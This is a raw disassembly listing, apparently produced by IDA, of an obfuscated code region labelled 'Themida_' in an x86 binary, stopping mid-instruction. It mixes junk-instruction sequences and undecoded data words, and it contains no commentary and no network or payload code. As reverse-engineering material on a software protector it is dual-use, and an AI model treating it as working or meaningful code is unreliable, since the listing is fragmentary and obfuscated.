5A7h dd 4C481h, 14870000h, 24248B24h, 66F9F766h, 6661FE68h dd 66241489h, 9CE99C50h db 0D6h, 2 dup(0FFh) byte_553313 db 64h ; DATA XREF: Themida_:0055086Co dd 0AAE932FFh, 100004Bh, 51565FF8h, 2457B568h, 240C8B4Dh dd 7170E9h db 0 ; --------------------------------------------------------------------------- loc_55332D: ; CODE XREF: Themida_:00551884j mov [esp], cx jmp loc_5509AF ; --------------------------------------------------------------------------- dw 0C781h dd 4, 0AD53E953h, 2C890000h, 2474FF24h, 48F5D04h, 24248B24h dd 135BE9h, 0E9F10100h, 11C25h, 8F04C483h, 61CA6800h, 0C890000h dd 2794E924h, 0E95F0001h, 0FFFFFDCEh, 0FFD636E9h db 0FFh ; --------------------------------------------------------------------------- loc_553379: ; CODE XREF: Themida_:00551333j pop ecx jmp loc_5523FD ; --------------------------------------------------------------------------- byte_55337F db 66h ; DATA XREF: Themida_:005507B8o dd 8124048Bh, 4ECh, 24348900h, 24348B54h, 4C481h, 0E9570000h dd 0FFFFECFCh ; --------------------------------------------------------------------------- loc_55339C: ; CODE XREF: Themida_:00557572j add esi, edx pop edx add esi, 4 jmp loc_55787C ; --------------------------------------------------------------------------- loc_5533A7: ; CODE XREF: Themida_:00554E82j dec ebx push esi mov esi, 61C42549h jmp loc_565905 ; --------------------------------------------------------------------------- db 81h dd 88789EEFh, 2434FF4Ch, 4C4815Ah, 1000000h, 0EEC15FFEh dd 6E94E02h db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5533CF: ; CODE XREF: Themida_:0055E54Dj and eax, ebx pop ebx or eax, eax jz loc_55F83A push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] push 6136h mov [esp], ebp jmp loc_554E69 ; --------------------------------------------------------------------------- loc_5533F0: ; CODE XREF: Themida_:00564A22j push eax push ecx mov ecx, 6F2F1048h mov eax, ecx mov ecx, [esp] add esp, 4 shr eax, 3 add eax, 1 sub eax, 20C549B3h push ecx jmp loc_550B00 ; --------------------------------------------------------------------------- db 81h dd 4C2h, 8BBE5600h, 0C15F9726h, 0F79605E6h, 0FFE883D0h dd 56A5E956h, 22680000h, 8900006Fh, 0EC81242Ch, 4, 89243489h dd 4C681E6h, 51000000h, 324921B9h, 0F924E917h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553452: ; CODE XREF: Themida_:0055AEA0j mov [esp], edi jmp loc_55B155 ; --------------------------------------------------------------------------- word_55345A dw 28Fh ; DATA XREF: Themida_:00550900o dd 0FFD54EE9h db 0FFh ; --------------------------------------------------------------------------- loc_553461: ; CODE XREF: Themida_:00560D2Aj xchg eax, [esp] mov esp, [esp] push 4E5Ah mov [esp], edi jmp loc_556A27 ; --------------------------------------------------------------------------- dd 32F1E95Eh, 0C3810000h, 4, 0E9241C87h, 353Dh ; --------------------------------------------------------------------------- loc_553488: ; CODE XREF: Themida_:005648FCj mov edx, 2AB966EEh sub esi, edx mov edx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_550DEF ; --------------------------------------------------------------------------- aTs db 'TИи╦',0 align 4 dd 4C481h, 87560000h, 0D5F7242Ch, 5E242C87h, 50BE5650h dd 574C0551h, 8952F789h, 12EDE9FAh, 8B5A0000h, 0C483240Ch dd 19CEE904h, 0E9810001h, 0FFFFFFFFh, 42BBE981h, 0EE811E1Eh dd 5DA55AEBh, 0C681CE01h, 5DA55AEBh, 0EC62E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5534FA: ; CODE XREF: Themida_:00560E88j dec ebp inc ebp push esi push edi jmp loc_554E47 ; --------------------------------------------------------------------------- db 29h dd 5E042474h, 1799E9h db 0 ; --------------------------------------------------------------------------- loc_55350D: ; CODE XREF: Themida_:00554AD5j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax push ebp mov ebp, 5E816E1Bh mov eax, ebp pop ebp add dword ptr [esp+4], 0E0B4E02h jmp loc_556AF8 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 2414895Ch, 564E6856h, 575E011Dh, 46958BFh, 0CF814F0Fh dd 76AC4678h, 0F9F3EF81h, 0BBE94031h, 5C0000CAh, 9C2424D2h dd 0FFD44AE9h, 0F7015AFFh, 8324348Bh, 0B95104C4h, 4, 0E959CF01h dd 0B06Ah, 5104C483h, 9994E9h db 0 ; --------------------------------------------------------------------------- loc_553585: ; CODE XREF: Themida_:0055B57Ej mov ecx, [esp] add esp, 4 pop ecx mov ebp, 784E3346h add ebp, 91952D01h add ebp, 656B6FDAh sub ebp, ebx sub ebp, 656B6FDAh mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_555DD1 ; --------------------------------------------------------------------------- dd 51C7815Eh, 10DE64Fh, 0B9BE56DFh, 4E4C7529h, 1290CE81h dd 0F6812634h, 23D51D3Bh, 0D732EE81h, 0F7293FB9h, 0AC4BE95Eh dd 1CBD0000h, 8177F02Eh, 6803BCF5h, 6278686Fh, 0C890000h dd 0A5E95524h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5535FF: ; CODE XREF: Themida_:00553112j sub ebx, 3F891FF7h shr ebx, 3 and ebx, 5468491Eh jmp loc_565AF7 ; --------------------------------------------------------------------------- db 56h dd 0DB009EBEh, 75C7810Eh, 0E950A117h, 0DBEBh, 70AEEB81h dd 0F381372Dh, 0AF16B99h, 2B9FBD55h, 814D73CAh, 0CE08E7E5h dd 0C9F58163h, 296B4E99h, 0D9895DEBh, 2444815Bh, 60505904h dd 244C011Eh, 246C8104h, 60505904h, 0CA7FE91Eh, 40BE0000h dd 5126ED7Dh, 3FBCBA52h, 0CAB91E8Dh, 29728077h, 480E9D1h dd 14890000h, 6D76BA24h, 0DAF76662h, 0ED13E9h db 0 byte_553689 db 66h, 8Fh, 2 ; DATA XREF: Themida_:0055091Co dd 0FFD31EE9h, 243489FFh, 0C681E689h, 4, 50685655h, 5E4CC265h dd 0E9FFEE83h, 0F755h, 2924248Bh, 0C6C381C3h, 52660C12h dd 3A52E5BAh, 8FF28106h, 1031407h, 24148BD3h, 8104C483h dd 0F12FAAC3h, 7CB55103h, 0C5E9CDFEh db 16h, 1, 0 ; --------------------------------------------------------------------------- loc_5536DB: ; CODE XREF: Themida_:00555799j mov esp, [esp] mov [esp], esi push edx jmp loc_5619C3 ; --------------------------------------------------------------------------- aQ_0 db '[Q╧',27h,0 dd 4C013EDDh, 0BAE90824h, 2D00010Eh, 77860E74h, 1449A42Dh dd 5D82929h, 291449A4h, 4839E9h, 25E95000h, 81FFFFE0h dd 510F77EEh, 0ABC68175h, 81267657h, 990B83EEh, 24148B67h dd 8704C483h, 248B2434h, 24348924h, 0B7B1E950h, 0BB530000h dd 46E14752h, 0C15BDF89h, 0CF8102EFh, 788719FBh, 328ECF81h dd 0DFF7651Eh, 0FFDA3AE9h, 289E2DFFh, 0F02966D8h, 0D8289E05h dd 43C80566h, 6EE93B08h, 31000080h, 0F75595C1h, 815D2414h dd 4ECh, 24048900h, 247A68h, 242C8900h, 0C1915D58h, 0E1C105E1h dd 2E1C105h, 0E6666853h, 34FFC08Fh, 3E2CE924h, 34890000h dd 7ABA5224h, 89563020h, 0C3815AD6h, 7ED3758h, 0B850F329h dd 2C0F1DF9h, 0E904E8C1h, 0B73Ah dword_5537C4 dd 24048B66h, 7530E9h ; DATA XREF: Themida_:005506D4o db 0 ; --------------------------------------------------------------------------- loc_5537CD: ; CODE XREF: Themida_:0055F923j xor cl, 0CFh jmp loc_55B0BC ; --------------------------------------------------------------------------- db 81h, 0EDh, 5Ah dd 5E356F32h, 5D5DE929h, 8B240C87h, 0E0E92424h, 59000060h dd 1012AE9h, 4EC8300h, 89243C89h, 2EBD55E7h, 8179A73Ah dd 2B3C01CDh, 11E5817Fh, 0F7485626h, 0FABE56D5h, 31B7F9D9h dd 0EF015EF5h, 4EF835Dh, 0FFE4FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_553821: ; CODE XREF: Themida_:0055A0B2j sub ebx, edx pop edx add ebx, edx add ebx, 5CCB7CBBh jmp loc_562054 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 21040000h, 4530E9h db 0 byte_553841 db 66h, 8Bh, 24h ; DATA XREF: Themida_:00550954o dd 0D165E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55384A: ; CODE XREF: Themida_:00556E6Cj add bl, dh pop edx mov ax, [esp] add esp, 2 push dword ptr [esp] jmp loc_5577AC ; --------------------------------------------------------------------------- db 81h dd 66D2ABF5h, 0E06DE9E3h db 2 dup(0FFh) word_55386A dw 77FFh ; DATA XREF: Themida_:00550844o dd 59669D1Ch, 9C2414D2h, 0FFD136E9h db 0FFh ; --------------------------------------------------------------------------- loc_553879: ; CODE XREF: Themida_:00554E19j add ebx, 4 jmp loc_5539F3 ; --------------------------------------------------------------------------- loc_553884: ; CODE XREF: Themida_:0055C915j mov ebx, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push eax jmp loc_55A564 ; --------------------------------------------------------------------------- db 56h dd 287C17BEh, 0C2EE8173h, 29F2C17Ch, 0F9295EF7h, 14E5E9h db 0 ; --------------------------------------------------------------------------- loc_5538B1: ; CODE XREF: Themida_:0055BBA7j xor eax, edi pop edi push 23EFh jmp loc_561FB7 ; --------------------------------------------------------------------------- dw 0BA52h dd 16F67289h, 0E95AD121h, 0A248h ; --------------------------------------------------------------------------- loc_5538CC: ; CODE XREF: Themida_:00558FBBj pop esp push esi xchg ecx, [esp] xor ecx, edi xor edi, ecx jmp loc_562B35 ; --------------------------------------------------------------------------- loc_5538DA: ; CODE XREF: Themida_:005528C9j add ebx, ecx pop ecx shl ebx, 8 push 22FDh mov [esp], edi push edx mov edx, 1FB13424h jmp loc_55C185 ; --------------------------------------------------------------------------- loc_5538F3: ; CODE XREF: Themida_:00561C1Fj add ebx, edx push edi jmp loc_55C128 ; --------------------------------------------------------------------------- loc_5538FB: ; CODE XREF: Themida_:00559137j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push ecx push edx mov dl, 0C1h dec dl shr dl, 6 neg dl jmp loc_55CD3E ; --------------------------------------------------------------------------- db 81h, 0EDh, 8Ch dd 1237F6Fh, 0FFBA52F5h, 0C15B5A05h, 0E2C107EAh, 339DE908h dd 0F1810000h, 25949090h, 6BE9CD29h, 310000E5h, 75055FF8h dd 0E9398DA6h, 0F089h, 42474FFh, 0A4DDE9h, 8BFB0100h, 0C483243Ch dd 2EBC104h, 121A5E9h, 0CEF58100h, 812E813Ch, 0B83211F5h dd 5DEE2962h, 295EF729h, 6DE951CFh db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553987: ; CODE XREF: Themida_:00559A47j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55226E ; --------------------------------------------------------------------------- db 0BAh dd 369F78EFh, 0C107EAC1h, 814207EAh, 620678E2h, 94F28105h dd 89246161h, 0E9495AD1h, 615Bh, 0E95BDA01h, 0B5A3h, 83242C8Bh dd 0EC8104C4h, 4, 0E9240C89h, 0D5CDh, 8B242C87h, 0C892424h dd 4B924h, 0EA810000h, 0DA12F2Ah, 51E9CA01h, 590000C3h dd 6AE9E904h db 1Fh, 1, 0 ; --------------------------------------------------------------------------- loc_5539F3: ; CODE XREF: Themida_:0055387Fj sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], edx sub esp, 4 mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx pop edx push esi push ebp jmp loc_5530E4 ; --------------------------------------------------------------------------- loc_553A1E: ; CODE XREF: Themida_:0055569Cj add esi, 4 xchg esi, [esp] pop esp mov ebp, [esp] jmp loc_55751A ; --------------------------------------------------------------------------- db 40h, 35h, 0EEh dd 486B7D54h, 3548D0F7h, 0E9FA928Dh, 77E9C201h, 810000DCh dd 182084F6h, 24048B27h, 0C01E9h, 0B08BD00h, 0DDF73903h dd 0BCCD814Dh, 0F729AF27h, 2E5C1D5h, 0E7BA5256h, 0BE42383Ah dd 4B396020h, 0E95AD629h, 10E4Ch ; --------------------------------------------------------------------------- loc_553A78: ; CODE XREF: Themida_:00561EA4j push edi mov edi, 502A4908h sub ebp, edi jmp loc_563DAF ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9242C89h, 0FBF1h, 57D5685Dh, 0C890000h, 81595424h dd 4C1h, 4C18100h, 0E9000000h, 0FFFFD8E3h, 6824148Bh, 1D58h dd 81242C89h, 4ECh, 2357E900h, 0F7400000h, 6D0540D8h, 3579D138h dd 0CF045A9Eh, 8358C501h, 2C8704C5h, 24248B24h, 0CCE930FFh dd 50FFFFCEh, 103EEF68h, 24048B18h, 0E8D8E9h, 1C895C00h dd 42E924h, 215A0001h, 546859CEh, 0E9000020h, 0A642h ; --------------------------------------------------------------------------- loc_553B08: ; CODE XREF: Themida_:00557105j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax pop esi push dword ptr [esp] pop eax add esp, 4 xor eax, esi xor esi, eax xor eax, esi jmp loc_55A36D ; --------------------------------------------------------------------------- loc_553B28: ; CODE XREF: Themida_:0056025Ej add esp, 4 jmp loc_5632FC ; --------------------------------------------------------------------------- db 80h dd 8B66D3C3h, 0C4832404h, 51C30002h, 0C180F6B1h, 74BCE9FFh dd 0F7810000h, 2E423CBh, 7858BA52h, 43E93266h, 550000BEh dd 4BA52h, 81520000h, 630C2434h, 815D5390h, 90630CF5h dd 0AFE95A53h, 87FFFFD0h, 0A9E9242Ch, 83000021h, 0EC8304C4h dd 243C8904h, 7472E9h db 0 ; --------------------------------------------------------------------------- loc_553B8D: ; CODE XREF: Themida_:00551DE5j push 2000h push dword ptr [esp] push dword ptr [esp] pop edx push edx mov edx, esp jmp loc_55D167 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 4055854h, 83000000h, 48704E8h, 0C870E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553BB6: ; CODE XREF: Themida_:0055B1AFj sub esi, ebx add esi, 70340C00h jmp loc_557B16 ; --------------------------------------------------------------------------- loc_553BC3: ; CODE XREF: Themida_:00564D9Bj mov edx, 55CD50E7h shl edx, 3 xor edx, 0FF97AF88h sub esi, 76DF73CBh jmp loc_5580CA ; --------------------------------------------------------------------------- loc_553BDC: ; CODE XREF: Themida_:00556BE9j pop ecx shr ecx, 3 add ecx, 1 shl ecx, 2 inc ecx xor ecx, 45AC06DFh or ebp, ecx pop ecx jmp loc_5587AA ; --------------------------------------------------------------------------- db 1, 0C2h, 0E9h dd 4674h ; --------------------------------------------------------------------------- loc_553BFC: ; CODE XREF: Themida_:0055685Ej mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push 79F5h mov [esp], ebp jmp loc_55E780 ; --------------------------------------------------------------------------- loc_553C1B: ; CODE XREF: Themida_:00558100j push 0AEFh mov [esp], ebp mov ebp, 57CC72D7h jmp loc_55B0E4 ; --------------------------------------------------------------------------- aYst db 'YИtц',0 db 0 ; --------------------------------------------------------------------------- loc_553C33: ; CODE XREF: Themida_:00551F5Bj mov [esp], edi jmp loc_55C5B7 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 331E900h, 0E2890001h, 4C281h, 0BFE90000h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C53: ; CODE XREF: Themida_:00563243j pop dword ptr [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_5509AF ; --------------------------------------------------------------------------- loc_553C63: ; CODE XREF: Themida_:00550FE5j sub al, 80h sub al, bl add al, 80h sub al, 0C7h mov ebx, [esp] jmp loc_5598DD ; --------------------------------------------------------------------------- db 81h dd 0DE13BEC6h, 34335D4Dh, 24343124h, 8B243433h, 8B662424h dd 3E92404h, 89000059h, 8DB951E5h, 81386576h, 4ECh, 243C8900h dd 6244A5BFh, 0DAEF8100h, 0E9ACD9ECh, 54AEh ; --------------------------------------------------------------------------- loc_553CB0: ; CODE XREF: Themida_:005520D8j add eax, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp mov ebp, 2 add eax, ebp pop ebp jmp loc_55969B ; --------------------------------------------------------------------------- aZs db 'ZИ=╢',0 align 4 dd 8B66E828h, 6468240Ch, 89000014h, 0E2892414h, 0CBE9h dd 24148900h, 0FFCCB6E9h, 1C895CFFh, 4EC8324h, 0FF240489h dd 0F8E92434h db 4, 1, 0 ; --------------------------------------------------------------------------- loc_553D0B: ; CODE XREF: Themida_:005594B2j pop esp mov [esp], esi push esp pop esi jmp loc_55C4C7 ; --------------------------------------------------------------------------- loc_553D16: ; CODE XREF: Themida_:0055CB01j push eax mov eax, 1CC8554Eh add eax, 5E4617B5h add edx, eax pop eax add edx, 8608C551h add ebp, edx mov edx, [esp] add esp, 4 jmp loc_55C339 ; --------------------------------------------------------------------------- byte_553D37 db 8Bh ; DATA XREF: Themida_:00550718o dd 70E92424h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553D3F: ; CODE XREF: Themida_:0055AD87j sub esp, 4 mov [esp], ebx mov bx, 64EFh push esi mov si, 579Fh jmp loc_5593E1 ; --------------------------------------------------------------------------- aQtso db 'QTИ╝&',0 align 2 dw 0C681h dd 65C33D58h, 4605E6C1h, 0AD35E9h, 0BB535C00h, 4, 34FFDE01h dd 0C4835B24h, 2C68304h, 31243433h, 34332434h, 24248B24h dd 7016E9h db 0 ; --------------------------------------------------------------------------- loc_553D8D: ; CODE XREF: Themida_:0055515Cj push esi mov esi, 75E94059h mov eax, esi pop esi sub esp, 4 mov [esp], edx jmp loc_5521BE ; --------------------------------------------------------------------------- aSX_0 db '[ИрЕ',0 align 2 dw 0EFC1h dd 8EFC108h, 0A3F7814Fh, 0E900006Eh, 0F9A0h, 0E6DDE951h dd 8705FFFFh, 13E8D0Bh, 0EDBB53C8h, 0F774C332h, 0A075E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553DD6: ; CODE XREF: Themida_:0055FEA3j pop eax push edx mov edx, 1C64E75h push edi mov edi, 2C1748C8h xor edi, 0D79AA1ACh sub edx, edi pop edi add ebx, edx jmp loc_55DC20 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5FE95000h, 2D0000FDh, 2743234Eh, 0F5DB951h, 0C1814297h dd 30A21EE6h, 7F56C181h, 0E18164A3h, 458605CAh, 6473C981h dd 0D9F73683h, 0F3C0F181h, 0C8018DC0h, 4EC8359h, 0BF243C89h dd 3E31100Dh, 4A26BB53h, 0DBF7508Dh, 5EE668h, 0BD2FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553E4A: ; CODE XREF: Themida_:0055A4B6j xor ebx, 150346Fh xor esi, ebx jmp loc_5520F4 ; --------------------------------------------------------------------------- db 5Fh dd 1BFA68h, 414E900h db 1, 0 ; --------------------------------------------------------------------------- loc_553E62: ; CODE XREF: Themida_:00561E62j pop esp pop dword ptr [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_5509AF ; --------------------------------------------------------------------------- word_553E72 dw 0E9ADh ; DATA XREF: Themida_:00550940o dd 0FFFFD798h, 82E9F089h db 0B2h, 2 dup(0) byte_553E7F db 66h ; DATA XREF: Themida_:005508B4o dd 68240C8Bh, 24CFh, 54242C89h, 81242C8Bh, 4C4h, 4C58100h dd 0E9000000h, 0E712h ; --------------------------------------------------------------------------- loc_553EA0: ; CODE XREF: Themida_:0055118Ej push ebx jmp loc_557746 ; --------------------------------------------------------------------------- aLSB db '▀$$И',1Bh,'b',0 align 2 dw 0EB81h dd 30F262A7h, 0FFF0C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_553EB9: ; CODE XREF: Themida_:00554B5Aj xchg esi, [esp] pop esp mov ebp, ecx pop ecx jmp loc_55AF42 ; --------------------------------------------------------------------------- byte_553EC5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005508E8o dd 0E1895124h, 4C181h, 0E9810000h, 4, 5C240C87h, 81242C89h dd 4ECh, 241C8900h, 7DE9E389h, 8100006Bh, 4C3h, 4EB8100h dd 53000000h, 42474FFh, 24048F5Bh, 29A8E9h db 0 ; --------------------------------------------------------------------------- loc_553F09: ; CODE XREF: Themida_:00551B6Bj mov ebx, 195B6887h sub ebx, 3DFE1189h sub ebx, 747F08DFh add ebx, 7F123422h sub ebx, 0D7A00807h sub edx, ebx mov ebx, [esp] jmp loc_55C68D ; --------------------------------------------------------------------------- loc_553F30: ; CODE XREF: Themida_:00559D0Ej pop edx jmp loc_55F52D ; --------------------------------------------------------------------------- loc_553F36: ; CODE XREF: Themida_:00550F1Cj xchg ebp, [esp] pop esp push edi push esp push dword ptr [esp] pop edi jmp loc_550EC3 ; --------------------------------------------------------------------------- loc_553F45: ; CODE XREF: Themida_:0055F369j push 858h mov [esp], ebx push 5C5Bh mov [esp], ecx mov ecx, 9E36046h push 2C59h mov [esp], ecx xor dword ptr [esp], 13892CA3h mov ebx, [esp] add esp, 4 jmp loc_552700 ; --------------------------------------------------------------------------- dd 0E904C483h, 111C4h ; --------------------------------------------------------------------------- loc_553F7C: ; CODE XREF: Themida_:0055453Dj mov ecx, edi pop edi push 3A02h mov [esp], ecx pop ebx mov ecx, [esp] push eax push esp jmp loc_5653CB ; --------------------------------------------------------------------------- a1uHca db ']1Н]h≈a',0 dw 8900h a4S4nrSC db '4$S╩4Nr=И',0Ah db 'C',0 dd 5BD82900h, 89C18951h, 34FF59CDh, 0C4815824h, 4, 0DD73E953h dd 44810000h, 63540424h, 86E97BB8h, 80000079h, 0D12841F2h dd 66C9FE5Ah, 0CE885250h, 87AAE9h db 0 ; --------------------------------------------------------------------------- loc_553FE1: ; CODE XREF: Themida_:00554037j add esp, 4 mov ebx, [esp] push eax jmp loc_550B5F ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 0E9000000h, 0FCD2h, 0CB8843B1h, 0E420E959h, 0C781FFFFh dd 4, 3AF6E9h db 0 ; --------------------------------------------------------------------------- loc_55400D: ; CODE XREF: Themida_:0055B08Fj mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_55A50A ; --------------------------------------------------------------------------- a3414Smq db '34$14$ИMQ',0 align 4 loc_55402C: ; CODE XREF: Themida_:00559E58j sub dword ptr [esp+4], 5354559Dh mov eax, [esp] jmp loc_553FE1 ; --------------------------------------------------------------------------- dd 79BBB850h, 0C2D3029h, 31131F64h, 0E38158C3h, 2E54208Fh dd 274BCB81h, 0F3813878h, 4C424A86h, 502CEB81h, 0EB81048Ch dd 63407952h, 27D5EB81h, 0F3817705h, 976C7BF8h, 0E95BDA89h dd 748Bh, 0E95BDF89h, 33E2h, 4C481h, 5B040000h, 0EC81C828h dd 4, 0B1240C89h, 8E1C0DFh, 0FE82C180h, 0D1E980C1h, 8007E9C0h dd 0C828A6E9h, 0FCF0E9h db 0 ; --------------------------------------------------------------------------- loc_5540B1: ; CODE XREF: Themida_:005586ADj add edx, 245261ECh xor ebx, edx jmp loc_56035A ; --------------------------------------------------------------------------- dw 815Ah dd 0EA705EC2h, 0C681587Eh, 67990B83h, 57ABEE81h, 0C6812676h dd 75510F77h, 34E9D629h, 0F6FFFFF6h, 5E3C0D3h, 9335E9h dd 8BEF2900h, 0C483242Ch, 2434FF04h, 8324048Bh, 0C48104C4h dd 4, 381AC781h, 0F831BBA8h, 0BF57555Fh, 3E18DDD3h, 6F39E9h dd 148B6600h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_55CC07 ; --------------------------------------------------------------------------- loc_554127: ; CODE XREF: Themida_:005527FAj push esi push 2B15D57h pop esi not esi jmp loc_56045E ; --------------------------------------------------------------------------- loc_554135: ; CODE XREF: Themida_:0055D74Dj mov ecx, 4 mov edx, ecx pop ecx mov eax, edx pop edx sub ebp, eax mov eax, [esp] jmp loc_55C93B ; --------------------------------------------------------------------------- loc_55414A: ; CODE XREF: Themida_:0055CFC0j xchg edi, [esp] mov esp, [esp] jmp loc_560A4B ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 86E9241Ch, 80000071h, 0CF2885EFh, 5185C780h dd 0EF8012B1h, 0E9CF0058h, 0F7FBh, 0EC83535Bh, 243C8904h dd 0E2D1E9h, 5E545600h, 4C681h, 0EE830000h, 24343304h dd 33243431h, 78E92434h, 500000A0h, 783997B8h, 0F883E97Dh dd 433FFFFh, 24043124h, 8B240433h, 46E92424h db 8Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5541BB: ; CODE XREF: Themida_:00555720j pop esi add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_5509AF ; --------------------------------------------------------------------------- dw 0EA81h dd 6B163867h, 5E70B951h, 0CA2964BEh, 83240C8Bh, 0BB5304C4h dd 604A7C12h, 0F2E94343h, 2DFFFFEDh, 70A44C8Dh, 8D05D829h dd 0E970A44Ch, 0FFFFFBFFh ; --------------------------------------------------------------------------- loc_554200: ; CODE XREF: Themida_:0055427Fj add dword ptr [esp], 4 jmp loc_561FC9 ; --------------------------------------------------------------------------- loc_55420C: ; CODE XREF: Themida_:0056228Fj mov [esp], esi jmp loc_554965 ; --------------------------------------------------------------------------- loc_554214: ; CODE XREF: Themida_:00562B22j sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push 6139h mov [esp], edx jmp loc_554BEA ; --------------------------------------------------------------------------- loc_55422D: ; CODE XREF: Themida_:0055C8B8j mov ebx, [esp] add esp, 4 jmp loc_55D98E ; --------------------------------------------------------------------------- aANsz db '─ф╜Иz`',0 align 10h dd 815EF221h, 0D43120C2h, 3EAC144h, 8904EC83h, 87B82404h dd 810422F9h, 0C204EEAh, 81C2295Ch, 0C204EC2h, 0D029585Ch dd 0E924148Bh, 529Bh ; --------------------------------------------------------------------------- loc_554270: ; CODE XREF: Themida_:0055C443j mov ebp, esp push 3FABh jmp loc_55C31F ; --------------------------------------------------------------------------- loc_55427C: ; CODE XREF: Themida_:00557128j mov [esp], esp jmp loc_554200 ; --------------------------------------------------------------------------- dd 0C1DDF758h, 505208EDh, 0DF19EAB8h, 0E616BA4Eh, 0C201B120h dd 7CC28158h, 81035D7Fh, 923A50EAh, 81EA2913h, 923A50C2h dd 7CEA8113h, 0E9035D7Fh, 0D8D3h, 0ED81D5F7h, 38CC753Dh dd 64D7ED81h, 0EE90AFDh, 890000F9h, 10E2E9E1h, 81590001h dd 4C1h, 4C18300h, 8B240C87h, 0C4832424h, 875E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5542EA: ; CODE XREF: Themida_:005558EBj pop esi mov ecx, [esp] sub esp, 4 jmp loc_557530 ; --------------------------------------------------------------------------- aS9 db '\И9╫',0 dw 8100h dd 414D242Ch, 815E2868h, 68414DC6h, 0B9515A28h, 808132Eh dd 0E959C829h, 10966h, 24048F5Ah, 241C8B5Ch, 0FFD986E9h db 0FFh ; --------------------------------------------------------------------------- loc_554329: ; CODE XREF: Themida_:00557372j pop dword ptr [esp] jmp loc_55F360 ; --------------------------------------------------------------------------- loc_554331: ; CODE XREF: Themida_:00563088j push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 jmp loc_55A211 ; --------------------------------------------------------------------------- dw 205h dd 33000000h, 3AE92404h, 0B0000061h, 28EB80C9h, 0C380C328h dd 48B6628h, 2C48324h, 0E9F3EB80h, 0E4F4h, 33BCE381h, 0EB815400h dd 3ADF0FB8h, 0EBC1D3F7h, 4EBC104h, 9CE0E9h, 5AD00000h dd 635CE9h, 2434FF00h, 592434FFh, 0E3F7E953h, 0C301FFFFh dd 0A7DDE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55439E: ; CODE XREF: Themida_:005564DBj push esp mov esi, [esp] push ecx mov ecx, esp jmp loc_5604D1 ; --------------------------------------------------------------------------- loc_5543AA: ; CODE XREF: Themida_:005635F0j mov edi, 3B9F7019h add edi, 0C982A86h sub esp, 4 mov [esp], ecx mov ecx, 0DBAA7860h sub edi, ecx mov ecx, [esp] add esp, 4 add edx, edi mov edi, [esp] add esp, 4 and edx, 325C571Ch push ebx jmp loc_5653EA ; --------------------------------------------------------------------------- loc_5543E2: ; CODE XREF: Themida_:00563AB0j mov ebx, 434D2BB6h push esi mov esi, 0 sub esi, ebx jmp loc_5623F7 ; --------------------------------------------------------------------------- dd 0D0371268h, 0C1815972h, 8D2FC8F2h, 2D59CE89h, 3B8552DDh dd 80D4E9h, 4EA8300h, 8B241487h, 34892424h, 0AFBE24h, 0CE811F96h dd 512E2F8Ch, 8105E6C1h, 4ECh, 243C8900h, 5E5CD7BFh, 8BFE2105h dd 0C481243Ch, 4, 3CD1BD55h, 0BEE95516h db 8, 1, 0 ; --------------------------------------------------------------------------- loc_55444B: ; CODE XREF: Themida_:00559F72j mov edx, esp add edx, 4 add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push ecx jmp loc_5561AC ; --------------------------------------------------------------------------- loc_554466: ; CODE XREF: Themida_:00559084j mov [esp], esi push dword ptr [esp+4] jmp loc_556B3C ; --------------------------------------------------------------------------- loc_554472: ; CODE XREF: Themida_:0055A0C4j push dword ptr [esp+4] mov ecx, [esp] add esp, 4 jmp loc_56337E ; --------------------------------------------------------------------------- dd 74FF515Ah, 68E90424h db 1Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55448F: ; CODE XREF: Themida_:00550B61j add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_56355A ; --------------------------------------------------------------------------- loc_5544A1: ; CODE XREF: Themida_:00552E03j sub ebp, 0C809A1ABh 